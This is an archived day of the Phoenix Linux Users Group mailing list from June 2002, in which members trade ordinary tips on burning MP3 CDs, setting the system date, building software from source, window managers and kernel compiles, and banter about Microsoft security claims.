PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 14:46:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 14 Jun 2002 10:46:09 -0400 (EDT) Subject: mp3 In-Reply-To: Message-ID: Correction: [mp3]$ cd preburn [preburn]$ mkisofs -l `find * -follow -name \*mp3` | cdrecord -v dev=0,0,0 speed=32 - This makes the top level dir of the CD the artists or albums you have symlinked. On Fri, 14 Jun 2002, Robert Bushman wrote: > [mp3]$ mkisofs -l `find preburn/* -follow -name \*mp3` | cdrecord -v > dev=0,0,0 speed=32 - > > (all on one command line) > > Preburn is a director full of symlinks to > the albums I want on this CD. "-follow" > makes find follow those links. > > On 14 Jun 2002, Carl Parrish wrote: > > > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > > seems to only want to burn .wav formats (I may be missing a setting). > > And cdrecord is giving me an error. I want to start playing with my DVD > > / mp3 player. Only I don't have any disc actually burned with mp3s. So > > any help here? > > > > Carl P. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ------------------------------------------------------------------- > "What can Americans do to stay safe after these attacks?" > "Buckle your seat-belt and quit smoking." > ------------------------------------------------------------------- > > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 14:44:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 14 Jun 2002 10:44:05 -0400 (EDT) Subject: mp3 In-Reply-To: <1024068440.29657.68.camel@hawk> Message-ID: [mp3]$ mkisofs -l `find preburn/* -follow -name \*mp3` | cdrecord -v dev=0,0,0 speed=32 - (all on one command line) Preburn is a director full of symlinks to the albums I want on this CD. "-follow" makes find follow those links. On 14 Jun 2002, Carl Parrish wrote: > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > seems to only want to burn .wav formats (I may be missing a setting). > And cdrecord is giving me an error. I want to start playing with my DVD > / mp3 player. Only I don't have any disc actually burned with mp3s. So > any help here? > > Carl P. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:51:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Julian Catchen) Date: Fri, 14 Jun 2002 11:51:04 -0400 Subject: mp3 Message-ID: <200206141551.LAA22238@rizzo.webservepro.com> If you use Gnome, than Gnome Toaster (gtoaster) is a great app that burns data and music CDs. It is basically a frontend for burning with cdrecord, cdrdao, etc. It allows you to drag and drop the contents of your CD before burning and to create mixed CDs (music and data). -----Original Message----- Date: 14 Jun 2002 08:27:19 -0700 To: Plug-discuss From: Carl Parrish Sender: plug-discuss-admin@lists.plug.phoenix.az.us Subject: mp3 Cc: Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast seems to only want to burn .wav formats (I may be missing a setting). And cdrecord is giving me an error. I want to start playing with my DVD / mp3 player. Only I don't have any disc actually burned with mp3s. So any help here? Carl P. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:45:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 14 Jun 2002 08:45:28 -0700 Subject: mp3 In-Reply-To: <1024068440.29657.68.camel@hawk> Message-ID: <200206141546.LAA00502@hostinworld6.com> An MP3CD is (as it took me two years to figure out) a data cd w/mp3 files on it (as data, not audio) and a m3u playlist with those files in it. Good luck. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:27:19 -0700, Carl Parrish wrote: > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > seems to only want to burn .wav formats (I may be missing a setting). > And cdrecord is giving me an error. I want to start playing with my DVD > / mp3 player. Only I don't have any disc actually burned with mp3s. So > any help here? > > Carl P. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:49:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 14 Jun 2002 08:49:30 -0700 Subject: Enlightenment Message-ID: <200206141549.LAA00706@hostinworld6.com> Alright, I'm sort of a newbie at X Windows stuff but I know Enlightenment is a window manager, just as KDE etc, but how do do I get icons on my desktop. It's getting tiring having to go through 3 levels of menu by middle mouse button. Anyone? -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:02:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Fri, 14 Jun 2002 09:02:26 -0700 Subject: Date??? Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B740@azmscorp01.corp.azms> date 06140859 and date --help may help with the syntax. date mmddhhmm Larry -----Original Message----- From: Bryce "C. [mailto:plug@bryceco.net] Sent: Friday, June 14, 2002 8:44 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Date??? Date does have the -s option for setting the time but I've never used it. Check the man page. Date, in DOS, would set the date and time for you automatically. Also, I never had any problems with your character set. I'm using Evolution 0.9. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:24:59 -0700, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:17:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Fri, 14 Jun 2002 09:17:13 -0700 Subject: Date??? Message-ID: Ahhhhh, much better. :) (I was seeing the same thing as Tom A. when reading your messages with LookOut 2000.) ~Jeff On Friday, June 14, 2002 8:25 AM, Carl Parrish sent: > (P.S is my charter set coming though alright on this one?). From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:30:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 14 Jun 2002 09:30:24 -0700 Subject: Enlightenment In-Reply-To: <200206141549.LAA00706@hostinworld6.com> References: <200206141549.LAA00706@hostinworld6.com> Message-ID: <200206140930.24844.zen2now@qwest.net> i have never run enlightenment with desktop icons because i perfer a clean desktop when in X, so i couldnt tell you how to add them. but if you are running a gnome panel in enlightenment you can add shortcuts to the panel for most used apps. or you can add them to the User Application List within the root menu. to do this open up: vi ~username/.enlightenment/user_apps.menu any app you use most often can be added, and the syntax is pretty self explanitory. also you can use any editor, vi was just an example. hope this helps. slr On Friday 14 June 2002 08:49 am, Bryce C. wrote: > Alright, I'm sort of a newbie at X Windows stuff but I know > Enlightenment is a window manager, just as KDE etc, but how do do I get > icons on my desktop. It's getting tiring having to go through 3 levels > of menu by middle mouse button. Anyone? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:38:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 09:38:33 -0700 Subject: Date??? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4AE@mail.int.fh.org> Came through great for me this time!!! -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Friday, June 14, 2002 8:25 AM To: Plug-discuss Subject: Date??? Okay how does one change the time on your system from the command line? I've been using rdate for this only now I can't so I thought I'd just use date and I can't get it to work. Should I be using something else? Carl P. (P.S is my charter set coming though alright on this one?). ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:13:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:13:57 -0700 (PDT) Subject: gzipped tar files and building from source In-Reply-To: <3D097779.3000809@earthlink.net> Message-ID: Ben Chaco approached me last night at the PLUG meeting with a question about installing a program from source code. I figured that there are other people on this list that may benefit from this explanation as well, so here's a very basic intro: somefile.tar <-- this is a "tar" file which is basically just a bunch of files packed into one. somefile.tar.gz <-- this is a "gzipped" tar file which is a tar file that has been compressed using the gzip program (tar also has the ability to compress and uncompress files). So usually when you get a file like this, it's source code, which means you'll have to compile the program yourself before you can use it. Compiling programs usually "just works" on Linux, but last night we ran into a problem with a missing library, so the program didn't compile comletely. OK, so here are the most common tar commands for dealing with the above file types: tar zxf somefile.tar.gz <-- the "z" option tells tar to uncompress it since we're also using it with the "x" option which tells it to extract the contents of the tar file, and then should create a directory containing all of the files that were originally packed together. If you want to see a display of the files as they're untarred, you can add the "v" option. The "f" option must be the last option because the name following the "f" specifies the file name to use. If the file is just called somefile.tar, then it's most likely not gzipped so you can leave off the "z" option. Now, let's say you want to create your own tarred and gzipped file to send to someone or for backup purposes. Just substitute a "c" (for compress) in place of the "x" (for extract), like this: tar zcf mystuff.tar.gz mystuff <-- you specify the name of the archive as "mystuff.tar.gz" then you tell it which directory to use. In this case, we're using "mystuff". There are many other options to tar and ways of using it, but these will help you get started. Alright, so now that you've unpacked your source code, you're ready to configure and build your program. In most cases, you can simply type the following commands: ./configure <-- runs a configure script that prepares for the build make <-- compiles the program make install <-- This step copies the newly compiled binaries to a default location on your system (assuming you didn't specify a different install directory with the configure script) At this point if everything compiled successfully, then you should be able to type the name of the program to run it. Alternatively, you may want to browse to the location of the program and drag the icon to your desktop or toolbar for future use (this, of course, depends on the Windowing environment you use). What I usually do is create a directory called "local" in my home directory, then I tell the configure script to install there instead of the default (usually /usr/local/). Here's how you'd do that: ./configure --prefix=$HOME/local So now when you run make install, you don't have to be root. The entire program is installed under the local directory in your home directory. Also, be sure that $HOME/local/bin (and possibly $HOME/local/sbin) is in your PATH. ~M From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:23:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:23:31 -0700 (PDT) Subject: Date??? In-Reply-To: <1024068299.29445.63.camel@hawk> Message-ID: Here's an example of setting your date/time: Today's date is 06/14 and it's 10:20AM, so I'd type: date 06141020 Use the 2 digit day, followed by the 2 digit month, followed by the 2 digit hour followed by the 2 digit minute. ~M On 14 Jun 2002, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:24:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:24:52 -0700 (PDT) Subject: Date??? In-Reply-To: Message-ID: Oops. My explanation for the day and month was backwards. It's the 2 digit month first, then the 2 digit day. On Fri, 14 Jun 2002, Matt Alexander wrote: > Here's an example of setting your date/time: > > Today's date is 06/14 and it's 10:20AM, so I'd type: > > date 06141020 > > Use the 2 digit day, followed by the 2 digit month, followed by the 2 > digit hour followed by the 2 digit minute. > ~M > > > On 14 Jun 2002, Carl Parrish wrote: > > > Okay how does one change the time on your system from the command line? > > I've been using rdate for this only now I can't so I thought I'd just > > use date and I can't get it to work. Should I be using something else? > > > > Carl P. > > (P.S is my charter set coming though alright on this one?). > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:29:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:29:47 -0700 (PDT) Subject: Enlightenment In-Reply-To: <200206141549.LAA00706@hostinworld6.com> Message-ID: Google is your friend. Here's a site that has an explanation: http://www.venus.dti.ne.jp/~khosoda/Enlightenment.html On 14 Jun 2002, Bryce C. wrote: > Alright, I'm sort of a newbie at X Windows stuff but I know > Enlightenment is a window manager, just as KDE etc, but how do do I get > icons on my desktop. It's getting tiring having to go through 3 levels > of menu by middle mouse button. Anyone? > > > -- > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 18:05:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Fri, 14 Jun 2002 11:05:30 -0700 Subject: Building seyon. Where xmkmf? In-Reply-To: <200206131634.36948.voltage_spike@fastmail.fm> References: <3D092969.E0D26CCC@asu.edu> <200206131634.36948.voltage_spike@fastmail.fm> Message-ID: <200206141105.30110.arkane_@yahoo.com> On Thursday 13 June 2002 04:34 pm, Logan Kennelly wrote: > To add a little information, it is part of the XFree86-devel package. (New > user hint (for rpm-based systems): 'rpm -qf /usr/X11R6/bin/xmkmf') > > > Also, I sould just stick with minicom. Seyon isn't that great. Well, > > its always annoyed me. > > I would have to agree with this. I found minicom to be quite excellent, > while seyon was only good. However, note that with minicom you might have > to configure both minicom and/or your terminal for things like backspaces, > while seyon is on its own. The thing I love about minicom is the fact that it is straight text access, no frills. If anything wierd happens on the cable or whatever your connected to, you see it :) Versus having things emulated into an X environment. My 2 cents. -- Dan From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 18:44:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 11:44:21 -0700 Subject: Names of last nights presenters? Message-ID: <3D0A3985.48AE4F3@qwest.net> Does anyone have the names of the two guys from Intel that gave the presentation last night? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:02:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 14 Jun 2002 12:02:35 -0700 Subject: Let the facts speak for themselves Message-ID: <1024081355.3d0a3dcbf31cf@webmail.freedom2surf.net> May 31, 2002 A Microsoft funded white paper titled "Opening the Open Source Debate" published by AdTI makes this statement: "Another security concern is that the primary distribution channel for GPL open source is the Internet. As opposed to proprietary vendors, open source is freely downloaded. However, software in the public domain could contain a critical problem, a backdoor or worse, a dangerous virus." June 14, 2002 News.com breaks the story that Microsoft distributed Nimda-infected CDs of Visual Studio .Net in Korea. And M$ wonders why no one takes "Trustworthy Computing" seriously. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:13:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Blake Barnett) Date: 14 Jun 2002 12:13:24 -0700 Subject: Enlightenment In-Reply-To: <200206141549.LAA00706@hostinworld6.com> References: <200206141549.LAA00706@hostinworld6.com> Message-ID: <1024082005.23169.21.camel@shiva.soulmachine.com> Enlightenment should not be compared to KDE or Gnome yet, a more apt comparison is to that of sawfish, or windowmaker. Enlightenment is a WINDOWmanager as of 0.16.5, this means that all it does is manage windows, for example, it puts the handles the title-bar for windows, iconboxes, pagers, etc. It does not manage the desktop (it has no integrated file manager). As of 0.17 (a complete rewrite by the way..) it will include a file manager called "Essence" it will basically be a complete desktop management solution. Just as KDE and Gnome currently are. If you want icons on your desktop you have to go through the config files manually and add a custom graphic and associate actions with that graphic, etc. If you are set on using enlightenment before 0.17 is released then I would use it within Gnome (put gnome-session in your .xinitrc) and also use something like Nautilus for file management to have icons on your desktop, easy launchers, etc. Here is a screenshot of my desktop, I do this currently (minus nautilus as the current stable release is kind of a CPU hog): http://soulmachine.com/desktop-ss.jpg On Fri, 2002-06-14 at 08:49, Bryce C. wrote: > Alright, I'm sort of a newbie at X Windows stuff but I know > Enlightenment is a window manager, just as KDE etc, but how do do I get > icons on my desktop. It's getting tiring having to go through 3 levels > of menu by middle mouse button. Anyone? > > > -- > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:18:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 12:18:07 -0700 Subject: Let the facts speak for themselves Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4BA@mail.int.fh.org> And of course, that is the group that I sent the message out a few days ago that MS is funding so naturally the are completely unbiased... -----Original Message----- From: dennisk@sahuaro.f2s.com [mailto:dennisk@sahuaro.f2s.com] Sent: Friday, June 14, 2002 12:03 PM To: PLUG Mailing List Subject: Let the facts speak for themselves May 31, 2002 A Microsoft funded white paper titled "Opening the Open Source Debate" published by AdTI makes this statement: "Another security concern is that the primary distribution channel for GPL open source is the Internet. As opposed to proprietary vendors, open source is freely downloaded. However, software in the public domain could contain a critical problem, a backdoor or worse, a dangerous virus." June 14, 2002 News.com breaks the story that Microsoft distributed Nimda-infected CDs of Visual Studio .Net in Korea. And M$ wonders why no one takes "Trustworthy Computing" seriously. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. 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Linux Certification Program Sponsor: Linux Professional Institute (LPI) Cornerstone Sponsor: HP Platinum Sponsors: AMD, IBM, Intel and Sun Microsystems Gold Sponsor: Freshwater Software Silver Sponsor: Globetrotter Software Media Sponsors: CRN, Dr. Dobb's Journal, Google, InfoWorld, IT Professional, Linux Magazine, Linux Journal, LinuxWorld.com, Networkworld, OSDN, Sys Admin, Var Business, WebSphere - ------------------------------------------------------- - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQpISCsk3ywszI1FEQK3cACglVKizDaMep025+0esBpSZyameUwAoJAS ghWsaZsex0llrRCFsssddyQ5 =G3W0 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:48:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 14 Jun 2002 12:48:47 -0700 Subject: Names of last nights presenters? In-Reply-To: <3D0A3985.48AE4F3@qwest.net> References: <3D0A3985.48AE4F3@qwest.net> Message-ID: <0206141248471U.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I bet you want more than Taj and Mike, right? On Friday 14 June 2002 11:44, you wrote: > Does anyone have the names of the two guys from Intel that gave the > presentation last night? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQpInysk3ywszI1FEQJwIwCfSZjbUXR74roHpUtv5ULcof00drUAoIi0 12Jvk8zaGYkxi3jPyogRzvq5 =KShE -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:56:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Fri, 14 Jun 2002 15:56:58 -0400 Subject: Date??? Message-ID: <20020614195700.MZTB1131.lakemtao07.cox.net@smtp.central.cox.net> Thanks that worked. I was trying with the -s switch (still don't understand that). btw I'm trying this with Cox's webmail tool again so the charter set may be screwed up again. I've posted their support but still haven't heard back on it. Carl P. ============================================================ From: Matt Alexander Date: 2002/06/14 Fri PM 01:23:31 EDT To: Plug-discuss Subject: Re: Date??? Here's an example of setting your date/time: Today's date is 06/14 and it's 10:20AM, so I'd type: date 06141020 Use the 2 digit day, followed by the 2 digit month, followed by the 2 digit hour followed by the 2 digit minute. ~M On 14 Jun 2002, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:03:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 13:03:16 -0700 Subject: Names of last nights presenters? References: <3D0A3985.48AE4F3@qwest.net> <0206141248471U.08309@nova.wedge.org> Message-ID: <3D0A4C04.C2C376AA@qwest.net> Yep. Last names would be very useful. Especially given how many Mikes work for intel (don't know about the number of Taj's). Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I bet you want more than Taj and Mike, right? > > On Friday 14 June 2002 11:44, you wrote: > > Does anyone have the names of the two guys from Intel that gave the > > presentation last night? > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQpInysk3ywszI1FEQJwIwCfSZjbUXR74roHpUtv5ULcof00drUAoIi0 > 12Jvk8zaGYkxi3jPyogRzvq5 > =KShE > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:15:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 13:15:45 -0700 Subject: Date??? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4BC@mail.int.fh.org> Oops, it's back. -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Friday, June 14, 2002 12:57 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Re: Date??? This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:18:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 14 Jun 2002 16:18:12 -0400 Subject: Names of last nights presenters? Message-ID: Mike, the red head guy, is Michael Blandford. The other guy is Tal Yardeni. Alan From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:24:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 14 Jun 2002 13:24:40 -0700 Subject: Let the facts speak for themselves In-Reply-To: <1024081355.3d0a3dcbf31cf@webmail.freedom2surf.net> References: <1024081355.3d0a3dcbf31cf@webmail.freedom2surf.net> Message-ID: <200206141324.40881.zen2now@qwest.net> this is the most ridiculous statement i have heard from them to date. "As opposed to proprietary vendors, open source is freely downloaded. However, software in the public domain could contain a critical problem, a backdoor or worse, a dangerous virus." M$ is a backdoor, with flashing neon signs saying "EAT AT BILL'S". FUD FUD FUD, that all i hear from them!! slr On Friday 14 June 2002 12:02 pm, dennisk@sahuaro.f2s.com wrote: > May 31, 2002 > > A Microsoft funded white paper titled "Opening the Open Source Debate" > published by AdTI makes this statement: > > "Another security concern is that the primary distribution channel for GPL > open source is the Internet. As opposed to proprietary vendors, open source > is freely downloaded. However, software in the public domain could contain > a critical problem, a backdoor or worse, a dangerous virus." > > June 14, 2002 > > News.com breaks the story that Microsoft distributed Nimda-infected CDs of > Visual Studio .Net in Korea. > > And M$ wonders why no one takes "Trustworthy Computing" seriously. > > > > Dennis Kibbe > > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:45:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 14 Jun 2002 13:45:05 -0700 (MST) Subject: install fest suggestion In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte Jay so: > Well, here's a real simple way to compile your kernel. Untar the new > kernel sources in /usr/local/src/ then as root do: > > cd /usr/local/src/linux && make menuconfig && make dep && make clean && > make modules && make modules_install > > (that is all one command on one line - it wraps in email) > > That will configure, compile, and install the new kernel as /vmlinuz. It > will also automatically backup your old kernel as /vmlinuz.old. You just > need to make sure your LILO config is pointing to /vmlinuz for the kernel > and you're all done. Once you've configured LILO, all you ever need to do > is the above command and everything else happens automagically. You might want to also run lilo to get it to point at the newly compiled kernel as well. Also, shouldn't there be a 'make install' in there to copy the newly compiled kernel over to /vmlinuz? People new to GNU/Linux will also have a problem knowing which options to enable during the 'make (menu|x)config' step. ciao, der.hans -- # https://www.LuftHans.com/ # kill telnet, long live ssh - der.hans From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:48:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 14 Jun 2002 13:48:29 -0700 (MST) Subject: install fest suggestion In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte Matt Wyant so: > Something I wish I had when I was beginning (and still do for that > matter) is a quick-reference of shell commands. Granted, this isn't > something the "average computer user" might want, but I think an > "average Linux user" would find this very helpful. This could even be > something printable from the website. I think it should contain the > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > etc..., I'm sure there are some I'm leaving out in my own > inexperience), a list of customizable files (bash prompts & profiles, > fstab, etc) and possibly (no religious wars here) a quick startup > guide to a text-editor. I personally just figured out how to save and > exit vi, and don't ask me to quit without saving. This may be over > the head of some users as I an a Linux newbie, but not technically > inexperienced. Excellent idea. There are small 3 page laminated guides you can pick up at bookstores. Borders has them. They're $5 - 10, I think. Maybe Borders would donate some for the InstallFest? A LUG used to have a quick sheet you could print out. It might be somewhere at the LDP. If we can find it, it might be good to have copies at the InstallFest for people to take home with them. I sure could have used that years ago when I was first learning *NIX. I did use one I got for vi when I first started using vi. ciao, der.hans -- # https://www.LuftHans.com/ # Hope has two beautiful daughters: Anger and Courage. Anger at the way # things are, and Courage to struggle to create things as they should be. # -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:55:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 14 Jun 2002 15:55:54 -0500 (CDT) Subject: install fest suggestion In-Reply-To: Message-ID: Sigh I accidently hit send before I pasted this link... http://www.quickreferences.yucom.be/quickrefs.htm 